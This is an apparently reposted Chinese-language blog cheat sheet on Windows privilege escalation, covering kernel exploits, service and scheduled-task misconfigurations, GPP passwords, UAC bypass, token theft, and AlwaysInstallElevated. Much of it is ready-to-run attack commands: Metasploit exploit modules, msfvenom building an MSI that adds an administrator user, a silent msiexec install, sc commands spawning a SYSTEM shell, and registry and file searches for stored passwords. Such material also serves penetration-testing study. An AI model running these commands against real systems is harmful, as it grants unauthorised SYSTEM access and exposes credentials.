1. 程式人生 > WINDOWS開發 >[總結]Windows提權總結

[總結]Windows提權總結

0x01 簡介

提權可分為縱向提權與橫向提權:縱向提權:低許可權角色獲得高許可權角色的許可權;橫向提權:獲取同級別角色的許可權。

Windows常用的提權方法有:系統核心溢位漏洞提權、資料庫提權、錯誤的系統配置提權、組策略首選項提權、WEB中介軟體漏洞提權、DLL劫持提權、濫用高危許可權令牌提權、第三方軟體/服務提權等

0x02 按提權方法分類

2.1 系統核心溢位漏洞提權

此提權方法即是通過系統本身存在的一些漏洞,未曾打相應的補丁而暴露出來的提權方法,依託可以提升許可權的EXP和它們的補丁編號,進行提升許可權。

下面是幾個方便查詢相應補丁漏洞的輔助查詢頁面:

https://github.com/ianxtianxt/win-exp-
https://github.com/SecWiki/windows-kernel-exploits
#手工查詢補丁情況
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

#MSF後滲透掃描
post/windows/gather/enum_patches

#Powershell掃描
Import-Module C:\Sherlock.ps1
Find-AllVulns

2.2 系統配置錯誤提權

#Empire內建模組
usemodule privesc/powerup/allchecks
execute

2.2.1 系統服務許可權配置錯誤

Windows在系統啟動時,會伴隨著一些高權服務啟動,倘若某些服務存在一些漏洞,那麼就能夠藉此服務進行許可權劫持

實現方法可藉助:

1.Powershell中的PowerUp指令碼
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

2.Metasploit中的攻擊模組   #需要提前獲取一個session
exploit/windows/local/service_permissions

2.2.2 可信任服務路徑漏洞

如果一個服務的可執行檔案的路徑沒有被雙引號引起來且包含空格,那麼這個服務就是有漏洞的
MSF使用實戰:

#尋找存在漏洞的服務
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

#msf攻擊模組
exploit/windows/local/trusted_service_path

#正常接收到會話後,不久就會自動斷開連線,需要開啟命令自動遷移程序
set AutoRunScript migrate -f

2.2.3 計劃任務

如果攻擊者對以高許可權執行的任務所在的目錄具有寫許可權,就可以使用惡意程式覆蓋原來的程式,這樣在下次計劃執行時,就會以高許可權來執行惡意程式。

#檢視計算機的計劃任務
schtasks /query /fo LIST /v

#檢視指定目錄的許可權配置情況
accesschk.exe -dqv "D:\test" -accepteula

2.3 組策略首選項提權

組策略首選項(Group Policy Preferences,GPP),詳情見謝公子的部落格:Windows組策略首選項提權

#Powershell獲取cpassword
Get-GPPPassword.ps1

#Msf
post/windows/gather/credentials/gpp

#Empire
usemodule privesc/gpp

2.4 繞過UAC提權

backlion師傅有一篇博文,主要寫的就是這個:使用Metasploit繞過UAC的多種方法

#Msf
exploit/windows/local/ask       #彈出UAC確認視窗,點選後獲得system許可權
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack

#Powershell
Invoke-PsUACme

#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript

2.3 令牌竊取

#已經獲取到一個session
#方法一
meterpreter > use incognito
......
meterpreter > list_tokens -u
WIN-2HU3N1\Administrator
meterpreter > impersonate_token WIN-2HU3N1\\Administrator  #注意:這裡是兩個反斜槓\Successfully......
meterpreter > shell

C:\User\Administrator>whoami
WIN-2HU3N1\Administrator
#方法二,借用Rotten potato程式
https://github.com/foxglovesec/RottenPotato.git
meterpreter > use incognito
meterpreter > list_tokens -u
WIN-2HU3N1\Administrator
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
Successfully
meterpreter > execute -HC -f rottenpotato.exe
Successfully
meterpreter > getuid
...NT AUTHORITY\SYSTEM

2.4 無憑證條件下的許可權提升

Responder.py:https://github.com/SpiderLabs/Responder.git

0x03 按系統型別型別

3.1 Windows2000/2003、XP

3.1.1 at本地命令提權

在 Windows2000、Windows 2003、Windows XP 這三類系統中,我們可以輕鬆將 Administrators 組下的使用者許可權提升到 SYSTEM

at 是一個釋出定時任務計劃的命令列工具,語法比較簡單。通過 at 命令釋出的定時任務計劃, Windows 預設以 SYSTEM 許可權執行。定時任務計劃可以是批處理、可以是一個二進位制檔案。

語法:at 時間 命令
例子:at 10:45PM calc.exe

該命令會發佈一個定時任務計劃,在每日的 10:45 啟動 calc.exe。我們可以通過 “/interactive”開啟介面互動模式:

技術分享圖片

在得到一個system的cmd之後,使用 taskmgr 命令呼叫工作管理員,此時的工作管理員是system許可權,然後kill掉explore程序,再使用工作管理員新建explore程序,將會得到一個system的桌面環境

技術分享圖片

3.1.2 at 配合 msf提權

msf下生成木馬檔案,at命令執行執行程式,上線後即為system

技術分享圖片

3.2 windows 7/8、03/08、12/16

3.2.1 sc命令提權

關於sc命令: SC 是用於與服務控制管理器和服務進行通訊的命令列程式。提供的功能類似於“控制面板”中“管理工具”項中的“服務”。

sc Create syscmd binPath= "cmd /K start" type= own type= interact

這個命令的意思是建立一個名叫 syscmd 的新的互動式的 cmd 服務,然後執行以下命令,就得到了一個system許可權的cmd環境:

sc start systcmd

3.2.2 AlwaysInstallElevated

AlwaysInstallElevated 是一種允許非管理使用者以SYSTEM許可權執行Microsoft Windows安裝程式包(.MSI檔案)的設定。預設情況下禁用此設定,需系統管理員手動啟用他。

可以通過查詢以下注冊表項來識別此設定:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

使用reg query命令查詢是否存在漏洞

C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果系統沒這個漏洞,它將輸出錯誤:

ERROR: The system was unable to find the specified registry key or value.

如果存在漏洞,上面將輸出以下內容:

技術分享圖片

然後我們使用msfvenom生成msi檔案,進行提權

msfvenom -p windows/adduser USER=rottenadmin [email protected]! -f msi-nouac -o rotten.msi

msiexec /quiet /qn /i C:\programdata\rotten.msi
# /quiet    安裝過程中禁止向用戶傳送訊息
# /qn       不使用GUI
# /i        安裝程式
msf下的自動模組
exploit/windows/local/always_install_elevated

3.2.3 Unattended Installs

自動安裝允許程式在不需要管理員關注下自動安裝。這種解決方案用於在擁有較多僱員和時間緊缺的較大 型組織中部署程式。如果管理員沒有進行清理的話,那麼會有一個名為Unattend的XML檔案殘存在系統上。 這個XML檔案包含所有在安裝程式過程中的配置,包括一些本地使用者的配置,以及管理員賬戶。

全盤搜尋Unattend檔案是個好辦法,它通常會在以下一個資料夾中:

C:\Windows\Panther\ 
C:\Windows\Panther\Unattend\ 
C:\Windows\System32\ 
C:\Windows\System32\sysprep

除了Unattend.xml檔案外,還要留意系統中的sysprep.xml和sysprep.inf檔案,這些檔案中都會包含部署操作 系統時使用的憑據資訊,這些資訊可以幫助我們提權。

C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c
#或者在名稱中包含關鍵詞的專案:
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*

#或者可以在檔案內容中搜索password之類的關鍵字:
C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini

#可以查詢登錄檔,例如,字串password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

在這些檔案中通常包含使用者名稱和密碼,密碼使用base64編碼,並且在最後會附加”Password”,所以真正的密 碼需要去掉最後的”Password”。

#msf模組
post/windows/gather/enum_unattend

技術分享圖片

3.3 常用系統漏洞CVE

#Windows10
CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html

#Windows7/2008
CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html

#Windows7/8、2008/2012/2016
CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html

#持續更新中......

參考連結

https://www.cnblogs.com/-mo-/p/12333943.html
https://blog.csdn.net/Fly_hps/article/details/80301264
https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/